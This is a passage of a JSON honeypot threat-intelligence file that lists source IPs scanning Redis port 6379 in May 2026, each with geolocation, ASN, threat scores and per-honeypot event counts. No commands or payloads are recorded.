      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 63760,
      "as_org": "AZDIGI Corporation",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:29:29+00:00",
        "last_seen_30d": "2026-05-31T14:37:24.418000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 6
      }
    },
    "192.210.150.44": {
      "attack_count": 50,
      "first_seen": "2026-05-14T05:28:26.000Z",
      "last_seen": "2026-05-15T02:45:17.520Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:29:34.705000+00:00",
        "last_seen_30d": "2026-05-15T02:45:17.520000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 21,
        "Suricata": 6
      }
    },
    "182.40.103.253": {
      "attack_count": 47,
      "first_seen": "2026-05-02T14:37:49.000Z",
      "last_seen": "2026-05-29T20:08:46.489Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136195,
      "as_org": "Qingdao, Shandong Province, P.R.China.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T14:39:03.913000+00:00",
        "last_seen_30d": "2026-05-29T20:08:46.489000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9
      }
    },
    "185.107.80.93": {
      "attack_count": 47,
      "first_seen": "2026-05-06T03:50:38.000Z",
      "last_seen": "2026-05-30T15:50:32.389Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Auberville",
      "asn": 43350,
      "as_org": "NForce Entertainment B.V.",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T02:18:34.601000+00:00",
        "last_seen_30d": "2026-05-31T20:56:22.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 247,
        "Honeytrap": 58,
        "Cowrie": 12,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "211.57.129.104": {
      "attack_count": 38,
      "first_seen": "2026-05-03T14:59:57.000Z",
      "last_seen": "2026-05-10T17:48:33.354Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chinch'\u014fn",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:59:57+00:00",
        "last_seen_30d": "2026-05-10T17:48:33.354000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "123.234.6.197": {
      "attack_count": 35,
      "first_seen": "2026-05-24T21:10:42.000Z",
      "last_seen": "2026-05-24T21:12:49.097Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:10:43+00:00",
        "last_seen_30d": "2026-05-24T21:12:49.097000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "14.103.220.97": {
      "attack_count": 35,
      "first_seen": "2026-05-04T13:50:09.000Z",
      "last_seen": "2026-05-31T06:50:50.481Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T13:51:16.099000+00:00",
        "last_seen_30d": "2026-05-31T06:50:50.481000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "142.132.183.119": {
      "attack_count": 35,
      "first_seen": "2026-05-14T10:39:17.000Z",
      "last_seen": "2026-05-15T06:09:22.117Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:40:17.840000+00:00",
        "last_seen_30d": "2026-05-15T06:09:22.117000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 6
      }
    },
    "222.75.51.180": {
      "attack_count": 34,
      "first_seen": "2026-05-31T20:25:06.000Z",
      "last_seen": "2026-05-31T20:27:59.045Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T20:25:07+00:00",
        "last_seen_30d": "2026-05-31T20:27:59.045000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "14.18.118.84": {
      "attack_count": 33,
      "first_seen": "2026-05-03T03:57:56.000Z",
      "last_seen": "2026-05-31T07:52:14.209Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:57:57+00:00",
        "last_seen_30d": "2026-05-31T07:52:14.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 4
      }
    },
    "65.49.1.222": {
      "attack_count": 32,
      "first_seen": "2026-05-16T14:22:40.000Z",
      "last_seen": "2026-05-16T14:25:42.759Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:47:20+00:00",
        "last_seen_30d": "2026-05-31T08:06:14.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195,
        "Honeytrap": 73,
        "Ciscoasa": 12,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Dionaea": 5,
        "Cowrie": 3
      }
    },
    "81.70.2.239": {
      "attack_count": 32,
      "first_seen": "2026-05-03T21:54:44.000Z",
      "last_seen": "2026-05-27T10:47:03.762Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:55:51.632000+00:00",
        "last_seen_30d": "2026-05-27T10:47:03.762000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 4
      }
    },
    "45.142.193.212": {
      "attack_count": 31,
      "first_seen": "2026-05-10T06:03:54.000Z",
      "last_seen": "2026-05-10T06:05:17.636Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 383709,
        "days_active_30d": 6,
        "ports_targeted_30d": 66756,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-07T19:30:32+00:00",
        "last_seen_30d": "2026-05-12T18:12:07.297000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191947,
        "Honeytrap": 191660,
        "Dionaea": 33,
        "ConPot": 23,
        "Cowrie": 15,
        "Redishoneypot": 9,
        "Adbhoney": 6,
        "Dicompot": 6,
        "Medpot": 3,
        "Miniprint": 3,
        "Ciscoasa": 1,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "47.250.80.158": {
      "attack_count": 27,
      "first_seen": "2026-05-15T16:24:42.000Z",
      "last_seen": "2026-05-15T16:25:51.579Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T01:42:10.135000+00:00",
        "last_seen_30d": "2026-05-22T11:36:26.281000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Dionaea": 6,
        "Redishoneypot": 6
      }
    },
    "106.13.45.232": {
      "attack_count": 26,
      "first_seen": "2026-05-04T06:04:30.000Z",
      "last_seen": "2026-05-31T10:14:50.851Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T06:06:10.694000+00:00",
        "last_seen_30d": "2026-05-31T10:14:50.851000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "47.251.93.227": {
      "attack_count": 26,
      "first_seen": "2026-05-05T16:38:14.000Z",
      "last_seen": "2026-05-05T16:40:21.436Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:38:31+00:00",
        "last_seen_30d": "2026-05-26T02:17:39.338000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 5
      }
    },
    "65.49.1.182": {
      "attack_count": 26,
      "first_seen": "2026-05-07T13:03:45.000Z",
      "last_seen": "2026-05-07T13:05:50.871Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T02:16:21+00:00",
        "last_seen_30d": "2026-05-31T01:24:33.678000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 218,
        "Honeytrap": 77,
        "Ciscoasa": 16,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "H0neytr4p": 8,
        "Cowrie": 7,
        "ConPot": 4,
        "Tanner": 3,
        "ElasticPot": 2,
        "Miniprint": 1
      }
    },
    "123.202.137.40": {
      "attack_count": 25,
      "first_seen": "2026-05-29T07:24:15.000Z",
      "last_seen": "2026-05-29T07:25:26.630Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:24:15+00:00",
        "last_seen_30d": "2026-05-29T07:25:26.630000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 19,
        "Suricata": 1
      }
    },
    "77.111.110.191": {
      "attack_count": 25,
      "first_seen": "2026-05-28T09:40:17.000Z",
      "last_seen": "2026-05-28T09:41:35.073Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 214478,
      "as_org": "Sakura Clouds LLC",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T09:40:18+00:00",
        "last_seen_30d": "2026-05-28T09:41:35.073000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 19,
        "Suricata": 1
      }
    },
    "8.221.139.48": {
      "attack_count": 25,
      "first_seen": "2026-05-28T15:33:43.000Z",
      "last_seen": "2026-05-28T15:34:53.644Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T07:46:57.111000+00:00",
        "last_seen_30d": "2026-05-31T16:45:11.159000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 4
      }
    },
    "172.202.118.40": {
      "attack_count": 24,
      "first_seen": "2026-05-14T06:11:32.000Z",
      "last_seen": "2026-05-14T06:13:38.345Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 12.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 15,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-11T22:06:57.012000+00:00",
        "last_seen_30d": "2026-05-25T18:21:43.926000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Redishoneypot": 5,
        "Honeytrap": 4,
        "Tanner": 1
      }
    },
    "20.127.245.101": {
      "attack_count": 24,
      "first_seen": "2026-05-20T14:02:47.000Z",
      "last_seen": "2026-05-20T14:04:39.949Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 14.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 17,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T02:02:09.828000+00:00",
        "last_seen_30d": "2026-05-20T14:04:39.949000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Redishoneypot": 5,
        "Honeytrap": 2,
        "Dionaea": 1
      }
    },
    "103.253.75.175": {
      "attack_count": 21,
      "first_seen": "2026-05-21T08:45:05.000Z",
      "last_seen": "2026-05-28T05:51:43.846Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 56309,
      "as_org": "Siamdata Communication Co.,Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-21T08:46:46.516000+00:00",
        "last_seen_30d": "2026-05-28T05:51:43.846000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "147.182.188.149": {
      "attack_count": 21,
      "first_seen": "2026-05-26T22:34:42.000Z",
      "last_seen": "2026-05-26T22:35:56.755Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:34:42+00:00",
        "last_seen_30d": "2026-05-26T22:35:56.755000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "206.81.19.43": {
      "attack_count": 21,
      "first_seen": "2026-05-18T02:22:50.000Z",
      "last_seen": "2026-05-18T02:24:01.022Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 141383,
        "days_active_30d": 6,
        "ports_targeted_30d": 65762,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-18T02:22:23+00:00",
        "last_seen_30d": "2026-05-23T00:26:40.309000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122401,
        "Honeytrap": 18931,
        "Mailoney": 12,
        "Cowrie": 10,
        "Dionaea": 8,
        "ConPot": 7,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "64.227.14.3": {
      "attack_count": 21,
      "first_seen": "2026-05-11T20:38:37.000Z",
      "last_seen": "2026-05-11T20:39:50.609Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:38:37+00:00",
        "last_seen_30d": "2026-05-11T20:39:50.609000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "64.227.21.125": {
      "attack_count": 21,
      "first_seen": "2026-05-07T03:14:29.000Z",
      "last_seen": "2026-05-07T03:24:40.079Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 4,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-06T18:37:17+00:00",
        "last_seen_30d": "2026-05-09T03:11:34.718000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 175,
        "Honeytrap": 84,
        "Redishoneypot": 8,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "121.29.89.93": {
      "attack_count": 20,
      "first_seen": "2026-05-07T17:18:04.000Z",
      "last_seen": "2026-05-24T15:30:50.319Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T17:19:09.355000+00:00",
        "last_seen_30d": "2026-05-24T15:30:50.319000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "4.174.223.244": {
      "attack_count": 20,
      "first_seen": "2026-05-09T11:04:12.000Z",
      "last_seen": "2026-05-12T22:31:15.017Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:04:12+00:00",
        "last_seen_30d": "2026-05-12T22:31:15.017000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "66.240.223.240": {
      "attack_count": 19,
      "first_seen": "2026-05-14T02:08:43.000Z",
      "last_seen": "2026-05-14T02:09:46.331Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 24,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T12:50:03.474000+00:00",
        "last_seen_30d": "2026-05-28T06:07:35.392000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Dionaea": 9,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Honeytrap": 5,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
